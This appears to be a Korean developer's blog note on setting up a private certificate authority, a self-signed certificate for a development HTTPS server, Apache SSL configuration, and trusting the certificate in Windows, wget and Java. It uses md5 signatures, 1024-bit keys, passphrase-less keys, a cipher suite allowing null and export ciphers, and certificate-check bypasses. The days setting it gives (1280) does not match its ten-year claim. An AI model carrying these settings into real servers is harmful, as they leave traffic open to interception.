예전에 만든 자료인데, 기억 못할까봐 정리해둔다.

-----------------------------------------------

part 1. 10년짜리 사실 인증서 만들기

개발 서버에서는 공인인증서를 꼭 써야 할 필요는 없다. 만약 공인인증서를 쓰지 않았을 때를 위해서 만들어 놓은 환경을 설명한다. 테스트 환경에서만 작동하는 보안 서버를 구축하면 된다.

CA (Certificate Authority, 인증기관)을 구성하고, 인증기관 자체의 private key와 public key를 생성하고, 결과물로 나온 인증서를 보안서버에 올리고, 보안 서버와 통신하는 모든 개발 PC및 개발 장비에서 사용할 수 있는 방법을 설명한다.

Http 서버 설정을 제외하고는 모두 Root 계정을 이용해야 한다.

자료는 아래 링크를 참조하면 된다.

http://www.ipsec-howto.org/x595.html

http://tldp.org/HOWTO/SSL-Certificates-HOWTO/x195.html

 

<파일 수정>

첫번째, CentOS의 openssl.conf 파일을 수정한다.

Redhat 계통(CentOS포함)에서는 /usr/share/ssl/openssl.cnf 설정파일을 참조해서 조금 수정하면 된다. dev개발환경이라는 가정을 하고, 다음 dev-openssl.conf 파일을 생성한다.

dev-ssl.google.com 이라는 도메인에 대한 인증서를 작성한다. 추가적으로 commonName에 alpha-ssl.google.com, beta-ssl.google.com, dev-id.google.com, dev-member.google.com 와 같이 여러 개의 도메인을 한 번에 등록할 수 있다.

 

#

# OpenSSL example configuration file.

# This is mostly being used for generation of certificate requests.

#

# This definition stops the following lines choking if HOME isn't

# defined.

HOME = .

RANDFILE = $ENV::HOME/.rnd

# Extra OBJECT IDENTIFIER info:

#oid_file = $ENV::HOME/.oid

oid_section = new_oids

# To use this configuration file with the "-extfile" option of the

# "openssl x509" utility, name here the section containing the

# X.509v3 extensions to use:

# extensions =

# (Alternatively, use a configuration file that has only

# X.509v3 extensions in its main [= default] section.)

[ new_oids ]

# We can add new OIDs in here for use by 'ca' and 'req'.

# Add a simple OID like this:

# testoid1=1.2.3.4

# Or use config file substitution like this:

# testoid2=${testoid1}.5.6

####################################################################

[ ca ]

default_ca = CA_default # The default ca section

####################################################################

[ CA_default ]

dir = ./demoCA # Where everything is kept

certs = $dir/certs # Where the issued certs are kept

crl_dir = $dir/crl # Where the issued crl are kept

database = $dir/index.txt # database index file.

new_certs_dir = $dir/newcerts # default place for new certs.

certificate = $dir/cacert.pem # The CA certificate

serial = $dir/serial # The current serial number

crl = $dir/crl.pem # The current CRL

private_key = $dir/private/cakey.pem# The private key

RANDFILE = $dir/private/.rand # private random number file

x509_extensions = usr_cert # The extentions to add to the cert

# Comment out the following two lines for the "traditional"

# (and highly broken) format.

name_opt = ca_default # Subject Name options

cert_opt = ca_default # Certificate field options

# Extension copying option: use with caution.

# copy_extensions = copy

# Extensions to add to a CRL. Note: Netscape communicator chokes on V2 CRLs

# so this is commented out by default to leave a V1 CRL.

# crl_extensions = crl_ext

default_days = 1825 # how long to certify for

default_crl_days= 30 # how long before next CRL

default_md = md5 # which md to use.

preserve = no # keep passed DN ordering

# A few difference way of specifying how similar the request should look

# For type CA, the listed attributes must be the same, and the optional

# and supplied fields are just that :-)

policy = policy_match

# For the CA policy

[ policy_match ]

countryName = match

stateOrProvinceName = match

organizationName = match

organizationalUnitName = optional

commonName = supplied

emailAddress = optional

# For the 'anything' policy

# At this point in time, you must list all acceptable 'object'

# types.

[ policy_anything ]

countryName = optional

stateOrProvinceName = optional

localityName = optional

organizationName = optional

organizationalUnitName = optional

commonName = supplied

emailAddress = optional

####################################################################

[ req ]

default_bits = 1024

default_keyfile = privkey.pem

distinguished_name = req_distinguished_name

attributes = req_attributes

x509_extensions = v3_ca # The extentions to add to the self signed cert

# Passwords for private keys if not present they will be prompted for

# input_password = secret

# output_password = secret

# This sets a mask for permitted string types. There are several options.

# default: PrintableString, T61String, BMPString.

# pkix : PrintableString, BMPString.

# utf8only: only UTF8Strings.

# nombstr : PrintableString, T61String (no BMPStrings or UTF8Strings).

# MASK:XXXX a literal mask value.

# WARNING: current versions of Netscape crash on BMPStrings or UTF8Strings

# so use this option with caution!

string_mask = nombstr

# req_extensions = v3_req # The extensions to add to a certificate request

[ req_distinguished_name ]

countryName = Country Name (2 letter code)

countryName_default =

countryName_min = 2

countryName_max = 2

stateOrProvinceName = State or Province Name (full name)

stateOrProvinceName_default =

localityName = Locality Name (eg, city)

localityName_default =

0.organizationName = Organization Name (eg, company)

0.organizationName_default =

# we can do this but it is not needed normally :-)

#1.organizationName = Second Organization Name (eg, company)

#1.organizationName_default = World Wide Web Pty Ltd

organizationalUnitName = Organizational Unit Name (eg, section)

organizationalUnitName_default = team

commonName = Common Name (eg, your name or your server\'s hostname)

commonName_default = dev-ssl.google.com

commonName_max = 64

# 만약 하나의 인증서로 다른 서버도 같이 쓸 수 있음. 아래의 예제와 같이 진행하면 됨

#0.commonName = Common Name (eg, your name or your server\'s hostname)

#0.commonName_default = dev-ssl.google.com

#0.commonName_max = 64

#1.commonName = Common Name (eg, your name or your server\'s hostname)

#1.commonName_default = alpha-ssl.google.com

#1.commonName_max = 64

#2.commonName = Common Name (eg, your name or your server\'s hostname)

#2.commonName_default = beta-ssl.google.com

#2.commonName_max = 64

#3.commonName = Common Name (eg, your name or your server\'s hostname)

#3.commonName_default = dev-id.google.com

#3.commonName_max = 64

#4.commonName = Common Name (eg, your name or your server\'s hostname)

#4.commonName_default = dev-member.google.com

#4.commonName_max = 64

emailAddress = Email Address

emailAddress.default = (메일)

emailAddress_max = 64

# SET-ex3 = SET extension number 3

[ req_attributes ]

challengePassword = A challenge password

challengePassword_min = 4

challengePassword_max = 20

unstructuredName = An optional company name

[ usr_cert ]

# These extensions are added when 'ca' signs a request.

# This goes against PKIX guidelines but some CAs do it and some software

# requires this to avoid interpreting an end user certificate as a CA.

basicConstraints=CA:FALSE

# Here are some examples of the usage of nsCertType. If it is omitted

# the certificate can be used for anything *except* object signing.

# This is OK for an SSL server.

# nsCertType = server

# For an object signing certificate this would be used.

# nsCertType = objsign

# For normal client use this is typical

# nsCertType = client, email

# and for everything including object signing:

# nsCertType = client, email, objsign

# This is typical in keyUsage for a client certificate.

# keyUsage = nonRepudiation, digitalSignature, keyEncipherment

# This will be displayed in Netscape's comment listbox.

nsComment = "OpenSSL Generated Certificate"

# PKIX recommendations harmless if included in all certificates.

subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid,issuer:always

# This stuff is for subjectAltName and issuerAltname.

# Import the email address.

# subjectAltName=email:copy

# An alternative to produce certificates that aren't

# deprecated according to PKIX.

# subjectAltName=email:move

# Copy subject details

# issuerAltName=issuer:copy

#nsCaRevocationUrl = http://www.domain.dom/ca-crl.pem

#nsBaseUrl

#nsRevocationUrl

#nsRenewalUrl

#nsCaPolicyUrl

#nsSslServerName

[ v3_req ]

# Extensions to add to a certificate request

basicConstraints = CA:FALSE

keyUsage = nonRepudiation, digitalSignature, keyEncipherment

[ v3_ca ]

# Extensions for a typical CA

# PKIX recommendation.

subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid:always,issuer:always

# This is what PKIX recommends but some broken software chokes on critical

# extensions.

#basicConstraints = critical,CA:true

# So we do this instead.

basicConstraints = CA:true

# Key usage: this is typical for a CA certificate. However since it will

# prevent it being used as an test self-signed certificate it is best

# left out by default.

# keyUsage = cRLSign, keyCertSign

# Some might want this also

# nsCertType = sslCA, emailCA

# Include email address in subject alt name: another PKIX recommendation

# subjectAltName=email:copy

# Copy issuer details

# issuerAltName=issuer:copy

# DER hex encoding of an extension: beware experts only!

# obj=DER:02:03

# Where 'obj' is a standard or added object

# You can even override a supported extension:

# basicConstraints= critical, DER:30:03:01:01:FF

[ crl_ext ]

# CRL extensions.

# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.

# issuerAltName=issuer:copy

authorityKeyIdentifier=keyid:always,issuer:always

 

두번째 수정할 파일은 /usr/share/ssl/misc/CA 파일이다. CA 파일은 Shell script로 구성되어 있으며, 인증기관 역할을 해준다. 보안(Http) 서버를 리얼 장비에 사용할 때 패스워드에 등록하지만, 개발 장비에 사용될 경우에는 굳이 패스워드를 등록하지 않아도 된다.

이를 위해서 /usr/share/ssl/misc/CA 파일의 일부분을 수정하면 된다. REQ의 내용에 ‘-nodes’를 추가하면 된다.

 

REQ="openssl req $SSLEAY_CONFIG"

->

REQ="openssl req $SSLEAY_CONFIG -nodes"

 

<CA 구성>

CA(Certificate Authority, 인증기관)을 구성한다. 인증기관 자체의 private key와 public key 를 생성한다.

]# mkdir certs

]# cd certs

]# /usr/share/ssl/misc/CA –newca

CA certificate filename (or enter to create) (엔터)

Making CA certificate ...

Generating a 1024 bit RSA private key

.....................++++++

.........................++++++

writing new private key to './demoCA/private/./cakey.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [GB]:(입력)

State or Province Name (full name) [Berkshire]:(입력)

Locality Name (eg, city) [Newbury]:(입력)

Organization Name (eg, company) [My Company Ltd]:(입력)

Organizational Unit Name (eg, section) []:(입력)

Common Name (eg, your name or your server's hostname) [dev-ssl.google.com]: (입력)

Email Address []:(입력)

 

demoCA 디렉토리가 생기고, cacert.pem가 생성된다. 이는 CA 인증서 생성됨을 의미한다.

demoCA/private/cakey.pem 파일은 1024bite private key 이다.

 

]# cd demoCA/

]# openssl x509 -in cacert.pem -days 3650 -out cacert.pem -signkey ./private/cakey.pem

Getting Private key

Enter pass phrase for ./private/cakey.pem:

]# /usr/share/ssl/misc/CA -newreq

Generating a 1024 bit RSA private key

......++++++

..........................++++++

writing new private key to 'newreq.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [GB]:(엔터)

State or Province Name (full name) [Berkshire]:(엔터)

Locality Name (eg, city) [Newbury]:(엔터)

Organization Name (eg, company) [My Company Ltd]:(엔터)

Organizational Unit Name (eg, section) []:(엔터)

Common Name (eg, your name or your server's hostname) [dev-ssl.google.com]:(dev-ssl.google.com 엔터)

Email Address []:(입력)

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: (엔터)

An optional company name []: (엔터)

Request (and private key) is in newreq.pem

 

만들어진 newreq.pem 파일을 원래 생성했던 위치에 두어 다음 작업을 쉽게 하도록 한다.

]# cp newreq.pem ..

]# cd ..

]# ls -al

drwxr-xr-x 3 root root 4096 11 15:09 .

drwxr-xr-x 8 root root 4096 11 15:06 ..

drwxr-xr-x 6 root root 4096 11 15:07 demoCA

-rw-r--r-- 1 root root 1667 11 15:09 newreq.pem

 

그 후, 만들어진 private key 파일을 가지고 CA로부터 인증을 한다. 이 결과로 newcert.pem 이라는 공개키가 생성된다. CA –sign은 인증서 승인 후, 인증서의 정보를 보여준다.

]# /usr/share/ssl/misc/CA -sign

Using configuration from /usr/share/ssl/openssl.cnf

Enter pass phrase for ./demoCA/private/cakey.pem:

Check that the request matches the signature

Signature ok

Certificate Details:

Serial Number: 1 (0x1)

Validity

Not Before: Mar 11 06:10:07 2011 GMT

Not After : Mar 10 06:10:07 2012 GMT

Subject:

countryName =

stateOrProvinceName =

localityName =

organizationName =

organizationalUnitName =

commonName = dev-ssl.google.com

emailAddress = 메일

X509v3 extensions:

X509v3 Basic Constraints:

CA:FALSE

Netscape Comment:

OpenSSL Generated Certificate

X509v3 Subject Key Identifier:

77:BC:33:80:3E:07:F3:10:40:71:D0:EE:49:F6:53:93:66:DB:6A:20

X509v3 Authority Key Identifier:

keyid:B4:8A:40:59:12:D6:3A:44:FC:27:31:A9:3E:D6:D8:B7:CD:40:08:EB

DirName:/C=/ST=/L=/O=/OU=test/CN=dev-ssl.google.com/emailAddress=

serial:00

Certificate is to be certified until Mar 10 06:10:07 2012 GMT (365 days)

Sign the certificate? [y/n]:(y엔터)

1 out of 1 certificate requests certified, commit? [y/n](y엔터)

Write out database with 1 new entries

Data Base Updated

Certificate:

Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: md5WithRSAEncryption

Issuer: C=, ST=, L=, O=, OU=, CN=dev-ssl.google.com/emailAddress=메일

Validity

Not Before: Mar 11 06:10:07 2011 GMT

Not After : Mar 10 06:10:07 2012 GMT

Subject: C=, ST=, L=, O=, OU=, CN=dev-ssl.google.com/emailAddress=메일

Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):

00:ce:0d:60:77:08:7b:8b:35:6e:97:dd:58:d3:0e:

81:ed:1b:d7:55:f6:c1:49:dc:e2:07:93:08:ca:1d:

27:8e:cd:19:30:fc:98:b7:c3:89:0a:98:43:aa:cf:

7e:8c:24:53:1a:87:1c:c1:13:10:0e:db:a5:09:e4:

c3:79:0f:9b:1a:48:4b:51:50:63:bb:9a:23:c9:8f:

e4:b0:a3:5b:74:3c:a7:fe:98:06:3c:fc:47:0e:ed:

d8:e5:b1:3e:e1:8c:c1:e9:11:6e:ec:d4:84:0a:51:

67:7c:2b:86:ac:7d:16:b6:65:90:77:95:88:d2:29:

e4:60:4d:73:59:2e:82:70:c5

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Basic Constraints:

CA:FALSE

Netscape Comment:

OpenSSL Generated Certificate

X509v3 Subject Key Identifier:

77:BC:33:80:3E:07:F3:10:40:71:D0:EE:49:F6:53:93:66:DB:6A:20

X509v3 Authority Key Identifier:

keyid:B4:8A:40:59:12:D6:3A:44:FC:27:31:A9:3E:D6:D8:B7:CD:40:08:EB

DirName:/C=/ST=/L=/O=/OU=/CN=dev-ssl.google.com/emailAddress=메일

serial:00

Signature Algorithm: md5WithRSAEncryption

3c:d4:9b:79:9c:e3:eb:45:52:26:6d:12:61:27:a0:e6:4e:dc:

c3:3a:59:6d:6a:d0:a5:62:e3:88:f5:c9:26:e2:35:15:01:8d:

65:2f:1d:b6:2e:be:62:83:db:cf:80:0b:c6:cc:3c:00:b3:7f:

9a:ce:b0:35:fd:a5:c1:b7:aa:fb:5d:40:2c:4f:39:64:ba:f1:

c3:f8:10:aa:26:d0:5c:30:a1:3b:81:00:a6:77:6e:c5:33:ef:

25:c8:be:c1:c5:2b:40:e2:83:32:a1:a4:e2:99:91:95:d2:da:

83:3e:64:66:45:d3:86:25:db:aa:67:98:d4:fb:2f:cd:31:24:

0a:d7

-----BEGIN CERTIFICATE-----

MIIDqzCCAxSgAwIBAgIBATANBgkqhkiG9w0BAQQFADCBizELMAkGA1UEBhMCS1Ix

EDAOBgNVBAgTB0t5dW5nZ2kxEDAOBgNVBAcTB0J1bmRhbmcxDDAKBgNVBAoTA05I

TjENMAsGA1UECxMEdGVzdDEcMBoGA1UEAxMTZGV2LXNzbC5uaG5jb3JwLmNvbTEd

MBsGCSqGSIb3DQEJARYOa25pZ2h0QG5obi5jb20wHhcNMTEwMzExMDYxMDA3WhcN

MTIwMzEwMDYxMDA3WjCBjzELMAkGA1UEBhMCS1IxEDAOBgNVBAgTB0t5dW5nZ2kx

EDAOBgNVBAcTB0J1bmRhbmcxDDAKBgNVBAoTA05ITjENMAsGA1UECxMEdGVhbTEc

MBoGA1UEAxMTZGV2LXNzbC5uaG5jb3JwLmNvbTEhMB8GCSqGSIb3DQEJARYSa25p

Z2h0QG5obmNvcnAuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDODWB3

CHuLNW6X3VjTDoHtG9dV9sFJ3OIHkwjKHSeOzRkw/Ji3w4kKmEOqz36MJFMahxzB

ExAO26UJ5MN5D5saSEtRUGO7miPJj+Swo1t0PKf+mAY8/EcO7djlsT7hjMHpEW7s

1IQKUWd8K4asfRa2ZZB3lYjSKeRgTXNZLoJwxQIDAQABo4IBFzCCARMwCQYDVR0T

BAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNh

dGUwHQYDVR0OBBYEFHe8M4A+B/MQQHHQ7kn2U5Nm22ogMIG4BgNVHSMEgbAwga2A

FLSKQFkS1jpE/CcxqT7W2LfNQAjroYGRpIGOMIGLMQswCQYDVQQGEwJLUjEQMA4G

A1UECBMHS3l1bmdnaTEQMA4GA1UEBxMHQnVuZGFuZzEMMAoGA1UEChMDTkhOMQ0w

CwYDVQQLEwR0ZXN0MRwwGgYDVQQDExNkZXYtc3NsLm5obmNvcnAuY29tMR0wGwYJ

KoZIhvcNAQkBFg5rbmlnaHRAbmhuLmNvbYIBADANBgkqhkiG9w0BAQQFAAOBgQA8

1Jt5nOPrRVImbRJhJ6DmTtzDOlltatClYuOI9ckm4jUVAY1lLx22Lr5ig9vPgAvG

zDwAs3+azrA1/aXBt6r7XUAsTzlkuvHD+BCqJtBcMKE7gQCmd27FM+8lyL7BxStA

4oMyoaTimZGV0tqDPmRmRdOGJduqZ5jU+y/NMSQK1w==

-----END CERTIFICATE-----

Signed certificate is in newcert.pem

]# ls -al

drwxr-xr-x 3 root root 4096 11 15:09 .

drwxr-xr-x 8 root root 4096 11 15:06 ..

drwxr-xr-x 6 root root 4096 11 15:10 demoCA

-rw-r--r-- 1 root root 3616 11 15:10 newcert.pem

-rw-r--r-- 1 root root 1667 11 15:09 newreq.pem

 

이렇게 만든 newreq.pem는 키이고, newcert.pem은 인증서이므로, 의미 있는 파일이름으로 각각 변경한다.

]# mv newreq.pem dev-ssl.node.key

]# mv newcert.pem dev-ssl.node.crt

 

<10년짜리 인증서 만들기>

 

CA 기본 shell script에서 디폴트로 1년로 만들기 때문에 매년 연장해야 하는 불편함이 존재할 수 있다. 이를 운영에서 편리하게 하기 위해서 ‘/usr/share/ssl/misc/CA –sign’의 결과의 내용을 살펴보면, 아래와 같이 1년으로 되어 있는 것으로 확인할 수 있다.

Validity

Not Before: Mar 11 06:10:07 2011 GMT

Not After : Mar 10 06:10:07 2012 GMT

Sign할 때의 인증기간을 수정하면 된다. /usr/share/ssl/misc/CA 파일을 수정한다.

첫번째 수정사항은 기간을 수정한다.

DAYS=”-days 365”

->

DAYS="-days 1280"

두번째 수정사항은 Sign 파라미터에 들어가는 스크립트를 수정한다.

$CA -policy policy_anything -out newcert.pem -infiles newreq.pem

->

$CA -policy policy_anything -out newcert.pem -in newreq.pem $DAYS

그리고, 인증서를 만드는 작업을 다시 진행한다.

Sign 작업후에 콘솔로 나오는 화면에 10년 짜리 인증서가 만들어진 것을 확인할 수 있다.

Validity

Not Before: Mar 11 10:46:21 2011 GMT

Not After : Mar 8 10:46:21 2021 GMT

 

 

-------------------------

part 2. 사설 인증서를 로딩한 웹 서버 사용하기

 

http서버에 10년 짜리 인증서를 설치한다는 것을 가정한다.

새로 만든 인증서와 키파일을 모두 /home/www/httpd/conf 파일에 위치한다. 암호를 설정하지 않았기 때문에 SSLPassPhraseDialog지시자에 builtin을 지정한다. 만약 암호를 설정하였을 때는 SSLPassPhraseDialog 지시자에 암호를 출력하는 스크립트를 넣을 수 있다.

<IfModule mod_ssl.c>

SSLRandomSeed startup builtin

SSLRandomSeed connect builtin

Listen 443

AddType application/x-x509-ca-cert .crt

AddType application/x-pkcs7-crl .crl

SSLPassPhraseDialog builtin

SSLSessionCache dbm:/home/www/httpd/logs/ssl_scache

SSLSessionCacheTimeout 300

SSLMutex file: /home/www/httpd/logs/ssl_mutex

</IfModule>

..

<VirtualHost *:443>

DocumentRoot /home/www/deploy

ServerName dev-ssl.google.com

<Directory "/home/www/deploy/service">

Options -Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

Allow from all

FileETag None

</Directory>

<IfModule mod_ssl.c>

SSLEngine on

SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:!SSLv2:+EXP:+eNULL

SSLCertificateFile /home/www/httpd/conf/dev-ssl.node.crt

SSLCertificateKeyFile /home/www/httpd/conf/dev-ssl.node.key

SetEnvIf User-Agent ".*MSIE.*" \

nokeepalive ssl-unclean-shutdown \

downgrade-1.0 force-response-1.0

</IfModule>

위와 같이 설정하고, http 서버를 재시작한다.

 

<로컬 pc 에서 인증서 설치>

로컬 PC에서 웹 브라우져를 이용해서 dev-ssl.google.com으로 접속하면 다음과 같이 보안 인증서에 대한 경고 화면이 뜬다. (Window 7, IE8 기준) 바로 신뢰할 수 있는 루트 인증기관이 아닌 서버에서 인증한 보안 인증서이기 때문이다.

웹 브라우져에서 이런 화면이 나오지 않게 하기 위해서는 해당 서버의 인증서를 신뢰할 수 있는 서버로 등록하면 된다. 인증서를 다운받는 법은 2가지이다. 첫번째는 서버에서 인증서를 파일로 다운받는다. 두번째는 웹브라우져에서 ‘인증서 오류’ 라 나오는 버튼을 클릭하고 ‘인증서 보기’로 해서 창을 띄우는 방법을 사용한다.

인증서를 띄우면 아래와 같이 확인할 수 있다. 10년짜리 인증서이지만, 확인할 수 없는 인증서라고 문구가 나온다. 인증서 설치를 선택한다.

‘인증서 설치’ 버튼을 선택하면 인증서 가져오기 마법사 시작 팝업창이 뜬다. 다음을 선택한다.

인증서 가져오기 마법사에서 ‘모든 인증서를 다음 저장소에 저장’을 선택한다.

인증 저장서를 선택하는 팝업창에서 ‘신뢰할 수 있는 루트 인증 기관’을 선택하고 확인 버튼을 선택한다.

‘인증서 가져오기 마법사’에 대한 완료 팝업창이 뜬다. 마침 버튼을 선택한다.

인증서 설치에 대한 화면이 발생하고 인증서를 설치할 것인지 묻는 팝업창이 발생한다. ‘예’ 버튼을 선택한다.

인증서 설치가 완료되었다는 팝업창이 열린다.

웹 브라우져를 이용해서 dev-ssl.google.com을 접속하면 아래와 같이 ‘보안 인증서에 문제가 있습니다’라는 내용이 뜨지 않는다.

 

<리늑서 서버 설치>

리눅스 서버에서 wget으로 접근시에는 인증시에 대한 검증에서 실패가 되어 에러를 발생시킨다.

]# wget https://dev-ssl.google.com/

[root@e61127 certs2]# wget https://dev-ssl.google.com/

--14:51:58-- https://dev-ssl.google.com/

=> `index.html'

Resolving dev-ssl.google.com... 1.1.1.1

Connecting to dev-ssl.google.com|1.1.1.1|:443... connected.

ERROR: Certificate verification error for dev-ssl.google.com: unable to get local issuer certificate

To connect to dev-ssl.google.com insecurely, use `--no-check-certificate'.

Unable to establish SSL connection.

이 문제를 해결하기 위해서는 간단하게 ‘--no-check-certificate’ 파라미터를 추가하여 접근한다.

]# wget --no-check-certificate https://dev-ssl.google.com/

--14:55:21-- https://dev-ssl.google.com/

=> `index.html.1'

Resolving dev-ssl.google.com... 10.25.149.50

Connecting to dev-ssl.google.com|10.25.149.50|:443... connected.

WARNING: Certificate verification error for dev-ssl.google.com: unable to get local issuer certificate

HTTP request sent, awaiting response... 200 OK

Length: 11 [text/html]

100%[===============================>] 11 --.--K/s

14:55:21 (565.38 KB/s) - `index.html' saved [11/11]

 

<Java에 인증서 설치>

Java를 이용하여 개발 보안 서버에 접근시 에러가 발생한다. Validation Check에서 실패하기 때문이다.

Java의 KeyStore에 해당 보안 개발 서버에 대한 접근이 되도록 할 수 있다. 보안 개발 서버를 사용하는 Linux 또는 PC 서버의 java에 인증서를 설치한다.

참고 웹은 다음 싸이트이다.

http://blogs.sun.com/andreas/entry/no_more_unable_to_find

예제는 다음과 같다. Apache Common의 httpclient 3.0.1를 가지고 dev-ssl.google.com 접속하는 코드이다.

import org.apache.commons.httpclient.HttpClient;

import org.apache.commons.httpclient.HttpStatus;

import org.apache.commons.httpclient.methods.GetMethod;

public class Test {

public static void main(String[] args) throws Exception {

byte[] responseBody = null;

HttpClient client = new HttpClient();

GetMethod method = new GetMethod("https://dev-ssl.google.com");

int responseCode = client.executeMethod(method);

if (responseCode != HttpStatus.SC_OK) {

System.out.println("Method failed: " + method.getStatusLine());

} else {

responseBody = method.getResponseBody();

System.out.println(new String(responseBody));

}

}

}

테스트 코드를 실행하면 SSL handshake를 하면서 인증서에 대한 valid 체크에서 발생했다는 Exception이 발생한다.

Exception in thread "main" javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

at com.sun.net.ssl.internal.ssl.Alerts.getSSLException(Alerts.java:174)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.fatal(SSLSocketImpl.java:1649)

at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Handshaker.java:241)

at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Handshaker.java:235)

at com.sun.net.ssl.internal.ssl.ClientHandshaker.serverCertificate(ClientHandshaker.java:1206)

at com.sun.net.ssl.internal.ssl.ClientHandshaker.processMessage(ClientHandshaker.java:136)

at com.sun.net.ssl.internal.ssl.Handshaker.processLoop(Handshaker.java:593)

at com.sun.net.ssl.internal.ssl.Handshaker.process_record(Handshaker.java:529)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:893)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.performInitialHandshake(SSLSocketImpl.java:1138)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.writeRecord(SSLSocketImpl.java:632)

at com.sun.net.ssl.internal.ssl.AppOutputStream.write(AppOutputStream.java:59)

at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:65)

at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:123)

at org.apache.commons.httpclient.HttpConnection.flushRequestOutputStream(HttpConnection.java:827)

at org.apache.commons.httpclient.HttpMethodBase.writeRequest(HttpMethodBase.java:1975)

at org.apache.commons.httpclient.HttpMethodBase.execute(HttpMethodBase.java:993)

at org.apache.commons.httpclient.HttpMethodDirector.executeWithRetry(HttpMethodDirector.java:397)

at org.apache.commons.httpclient.HttpMethodDirector.executeMethod(HttpMethodDirector.java:170)

at org.apache.commons.httpclient.HttpClient.executeMethod(HttpClient.java:396)

at org.apache.commons.httpclient.HttpClient.executeMethod(HttpClient.java:324)

at org.Test.main(Test.java:13)

Caused by: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

at sun.security.validator.PKIXValidator.doBuild(PKIXValidator.java:323)

at sun.security.validator.PKIXValidator.engineValidate(PKIXValidator.java:217)

at sun.security.validator.Validator.validate(Validator.java:218)

at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.validate(X509TrustManagerImpl.java:126)

at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.checkServerTrusted(X509TrustManagerImpl.java:209)

at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.checkServerTrusted(X509TrustManagerImpl.java:249)

at com.sun.net.ssl.internal.ssl.ClientHandshaker.serverCertificate(ClientHandshaker.java:1185)

... 17 more

Caused by: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

at sun.security.provider.certpath.SunCertPathBuilder.engineBuild(SunCertPathBuilder.java:174)

at java.security.cert.CertPathBuilder.build(CertPathBuilder.java:238)

at sun.security.validator.PKIXValidator.doBuild(PKIXValidator.java:318)

... 23 more

Java 에서 신뢰할만한 웹 사이트를 등록하여 인증서가 발생되지 않게 할 수 있다.

Andreas Sterbenz’s Blogs(http://blogs.sun.com/andreas/resource/InstallCert.java)에서 소스를 다운받고 컴파일한다.

]# javac InstallCert.java

보안 개발 서버인 dev-ssl.google.com:443 을 파라미터로 넣고 java를 실행한다. 중간에 “

Enter certificate to add to trusted keystore”를 묻는 질문에 ‘1’을 입력한다.

]# java InstallCert dev-ssl.google.com:443

Loading KeyStore C:\Program Files\Java\jre6\lib\security\cacerts...

Opening connection to dev-ssl.google.com:443...

Starting SSL handshake...

javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException:

PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderExce

ption: unable to find valid certification path to requested target

at com.sun.net.ssl.internal.ssl.Alerts.getSSLException(Unknown Source)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.fatal(Unknown Source)

at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Unknown Source)

at com.sun.net.ssl.internal.ssl.Handshaker.fatalSE(Unknown Source)

at com.sun.net.ssl.internal.ssl.ClientHandshaker.serverCertificate(Unkno

wn Source)

at com.sun.net.ssl.internal.ssl.ClientHandshaker.processMessage(Unknown

Source)

at com.sun.net.ssl.internal.ssl.Handshaker.processLoop(Unknown Source)

at com.sun.net.ssl.internal.ssl.Handshaker.process_record(Unknown Source

)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.readRecord(Unknown Source)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.performInitialHandshake(Un

known Source)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.startHandshake(Unknown Sou

rce)

at com.sun.net.ssl.internal.ssl.SSLSocketImpl.startHandshake(Unknown Sou

rce)

at org.InstallCert.main(InstallCert.java:88)

Caused by: sun.security.validator.ValidatorException: PKIX path building failed:

sun.security.provider.certpath.SunCertPathBuilderException: unable to find vali

d certification path to requested target

at sun.security.validator.PKIXValidator.doBuild(Unknown Source)

at sun.security.validator.PKIXValidator.engineValidate(Unknown Source)

at sun.security.validator.Validator.validate(Unknown Source)

at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.validate(Unknown So

urce)

at com.sun.net.ssl.internal.ssl.X509TrustManagerImpl.checkServerTrusted(

Unknown Source)

at org.InstallCert$SavingTrustManager.checkServerTrusted(InstallCert.jav

a:183)

... 9 more

Caused by: sun.security.provider.certpath.SunCertPathBuilderException: unable to

find valid certification path to requested target

at sun.security.provider.certpath.SunCertPathBuilder.engineBuild(Unknown

Source)

